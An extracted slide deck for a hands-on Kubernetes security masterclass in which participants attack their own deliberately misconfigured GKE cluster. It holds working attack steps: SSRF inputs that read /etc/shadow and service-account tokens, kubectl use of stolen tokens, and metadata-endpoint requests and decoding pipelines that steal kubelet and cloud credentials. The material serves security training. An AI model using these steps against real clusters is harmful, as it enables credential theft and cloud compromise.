The document outlines a hands-on masterclass focused on deploying a Google Kubernetes Engine (GKE) cluster and exploring Kubernetes security controls, particularly related to Role-Based Access Control (RBAC) and Pod Security Admission. Participants learn to exploit misconfigurations for security assessments, including performing attacks and post-exploitation techniques on their setup. Additional resources and references are provided for further learning on Kubernetes security and the related services offered by Appsecco.

1. Appsecco Case Studies
2022 mid-year
Some of our work so far in 2022
15th Dec 2023

2. What will
we do
today?
1. Deploy a GKE cluster in our own accounts
and setup some misconfigurations to exploit
2. Talk about some relevant Kubernetes controls
for today's masterclass
3. Attack our own setup to exploit RBAC and pod
level access to compromise the cluster
4. Q&A
o use the Q&A and chat feature, send your
questions etc. I will comment/answer as and
when I see them.

3. Let's deploy our
cluster!
(Lab setup)

4. Download the following file and open it in a text editor.
DO NOT RUN ANY COMMANDS YET!
https://appsecco-masterclass.s3.amazonaws.com/commands.txt
Login to Google Cloud Console and in the same browser open a
Google CloudShell in a new tab. Make sure your project is selected
for CloudShell.
https://console.cloud.google.com/
https://shell.cloud.google.com/?show=terminal

5. Make sure you run the commands from the Google CloudShell
1. Run the commands from commands.txt to create your cluster. Read the
comments to understand what the commands are doing.
2. Note the IP address printed at the end of the command

6. Kubernetes
Security Controls
(Hands-On)

7. Kubernetes, and depending on the cloud platform it is run on top of, has
multiple security features and controls built into the environment.
• As hackers we rely on these to be misconfigured or absent :)
We will look at 2 main security/concepts in Kubernetes, relevant to our class
today
1. Pod Security Admission
2. Role Based Access Control

8. 1. Let's create 2 namespaces each with a different Pod Security Standard
2. Go to the `~/masterclass/pod-admission-controller-lab` folder
and run these commands to create new namespaces
o kubectl apply -f restricted-namespace.yaml
o kubectl apply -f privileged-namespace.yaml
3. Now attempt to start a privileged pod within each of the namespaces
o kubectl get ns
o kubectl apply -f nginx-privileged.yaml -n privileged-namespace
o kubectl apply -f nginx-privileged.yaml -n restricted-namespace
4. What do you see?

9. Pod Admission Controller – In simple terms
• This is code that intercepts requests reaching the API server to verify if
the object (pod, namespace etc.) create request passes a list of allowed
checks or not.
o The list of checks the request is compared against are called the Pod
Security Standards
o There are 3 standards - privileged, baseline, and restricted

10. Let's enumerate what roles and clusterroles are present in this cluster
and how they are bound
1. Enumerate roles within the kube-system namespace
o kubectl get roles -n kube-system
o kubectl get rolebindings -n kube-system
2. For each of the rolebindings enumerate the subject attached
o kubectl get rolebindings <BINDING_NAME> -n kube-system
3. Test the privileges of the discovered service account using
o kubectl auth can-i --as=system:serviceaccount:kube-system:cloud-
provider --list

11. Let's repeat the same but with clusterroles and clusterrolebindings to
see cluster wide RBAC
1. Enumerate clusterroles across the cluster
o kubectl get clusterroles
o kubectl get clusterrolebindings
2. For the clusterrolebindings that use a privileged clusterrole, enumerate
the subject attached
o kubectl get clusterrolebindings <BINDING_NAME>
3. Test the privileges of the discovered service account using
o kubectl auth can-i --as=system:serviceaccount:apps:default --list

12. Role and ClusterRole and Bindings
• An RBAC Role or ClusterRole contains rules that representa set of permissions.Permissions
are purely additive (there are no "deny" rules).
• A Role always sets permissions within a particular namespace;when you create a Role,you
have to specifythe namespace it belongs in.
• ClusterRole,is a non-namespaced resourceand applies to the entire cluster.
• Bindings allow the Role or ClusterRole to be bound to a subject (users, groups,or service
accounts) with a roleRef pointing to the role which gives the subject the specific permissions
• If you want to define a role within a namespace,use a Role;if you want to define a role cluster-
wide, use a ClusterRole.

13. Role
ClusterRole
ClusterRoleBinding
RoleBinding

14. Abusing RBAC
privileges from
within pods
(Hands-On)

15. • All pods will have access to the default service account mounted as a file
system object within the pod at
o /var/run/secrets/kubernetes.io/serviceaccount/token
o /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
• We can extract them and use them to interact with the cluster
o kubectl --token=`cat token` --certificate-authority=ca.crt get nodes
So how do we gain access to this service account or files from the pod?

16. • Let's take a closer look at the app that was deployed
• Login to the application using username serveradmin and password
monitorworld
• What is the app's functionality?
• What vulnerability is present here?

17. • The application takes a URL from the user and makes a server side
request on the user's behalf
o Such a feature, if not protected properly is often vulnerable to Server Side
Request Forgeries (SSRF/XSPA)
• Depending on the request library used in the server side code, file:// is
also a valid request protocol and can be used to read local files!
• Try these as input
o file:///etc/passwd
o file:///etc/shadow

18. • Let's read the token and ca.crt so that we can interact with the cluster
using stolen credentials! Save these inside your Google CloudShell.
file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
• Run kubectl with the token and ca.crt to gain access to the cluster using
the stolen secret of the service account
o kubectl --token=`cat token` --certificate-authority=ca.crt get nodes
• Use auth plugin to view your current access with the stolen credentials
kubectl auth can-i --token=`cat token` --certificate-authority=ca.crt -
-list

20. Post Exploitation
in GKE
(Hands-On / Homework)

21. We can go a little further with our setup in this class. We have an app with SSRF
running inside a GKE cluster. You can perform the following additional actions
1. Dump env data. This will reveal env variables that can have secrets,Kubernetes/GKE
information etc.
• file:///proc/self/environ
2. Read the node Instance Metadata using the SSRF to fetchthe kubelet credentials
• http://169.254.169.254/computeMetadata/v1/instance/attributes/kube-env
3. Fetch the Google VM instance's compute service account's token and scope to query the
underlying cloud platform itself! This is escaping from the cluster to the cloud environment.
• http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
• http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes
• http://169.254.169.254/computeMetadata/v1/project/project-id

22. Env vars inside pod

23. kube-env from Instance Metadata
cat kube-env | grep ^TPM_BOOTSTRAP_CERT | awk
'{print $2}' | base64 -d > kubelet.crt
cat kube-env | grep ^TPM_BOOTSTRAP_KEY | awk
'{print $2}' | base64 -d > kubelet.key
cat kube-env | grep ^CA_CERT | awk '{print $2}'
| base64 -d > apiserver.crt
kubectl auth --client-certificate=kubelet.crt -
-client-key=kubelet.key --certificate-
authority=apiserver.crt --server=$KUBERNE
TES_API_SERVER can-i --list
https://blog.appsecco.com/a-pentesters-approach-to-kubernetes-security-part-2-8efac412fbc5

24. Google Cloud Compute SA Token Stealing

25. Tear Down the Cluster
(to avoid credit wastage)
(optional, don't if you want to practice)

26. 1. https://kubernetes.io/docs/concepts/security/pod-security-admission/
2. https://kubernetes.io/docs/concepts/security/pod-security-standards/
3. https://kubernetes.io/docs/reference/access-authn-authz/rbac/
4. https://blog.appsecco.com/a-pentesters-approach-to-kubernetes-security-part-1-2b328252954a
5. https://blog.appsecco.com/a-pentesters-approach-to-kubernetes-security-part-2-8efac412fbc5
6. https://blog.appsecco.com/hacking-an-aws-hosted-kubernetes-backed-product-and-failing-904cbe0b7c0d
7. https://kloudle.com/blog/part-1-mapping-the-mitre-att-ck-framework-to-your-kubernetes-cluster-initial-access/
8. https://kloudle.com/academy/simple-steps-to-set-up-a-2-node-kubernetes-cluster-using-kubeadm/
9. https://kloudle.com/academy/auditing-kubernetes-with-kubeaudit-conducting-an-assessment/
10. https://kloudle.com/blog/rogue-one-a-certified-kubernetes-administrator-cka-exam-story/
11. https://kloudle.com/blog/refuting-aws-chain-attack-digging-deeper-into-eks-zero-days-claim/
12. https://kloudle.com/academy/5-important-security-settings-you-need-to-review-for-your-gke-clusters/
13. https://kloudle.com/blog/developerweek-europe-2021-walkthrough-of-the-talk-slides-and-audience-questions/
14. https://cloud.google.com/kubernetes-engine/docs/how-to/protecting-cluster-metadata
15. Hacking Kubernetes Clusters - https://www.youtube.com/watch?v=xDj4_ZI1Y9A
16. Kubernetes 101 - https://www.youtube.com/watch?v=Z5nj6IpNJIM
17. Kubernetes Crash Course for Absolute Beginners - https://youtu.be/s_o8dwzRlu4?t=104

27. Q&A

28. • Riyaz Walikar, Chief Hacker, run the Kubernetes Penetration
Testing as a Service at Appsecco
• Appsecco is a boutique security consulting company with
customers across the world.
• Over a decade and half experience with hacking web apps,
APIs, mobile, wireless, networks and more lately cloud and
containers
• Love to teach! Speak and train at a bunch of conferences!
https://www.linkedin.com/in/riyazw/
riyaz@appsecco.com | +91 9886042242
https://appsecco.com | https://blog.appsecco.com

29. About Appsecco
Pragmatic, holistic, business-focused approach
Specialist Cloud and Application Security company
Highly experienced and diverse team
Assigned multiple CVEs
Certified hackers
OWASP chapter leads
Cloud and Kubernetes security experts
Black Hat & Def Con speakers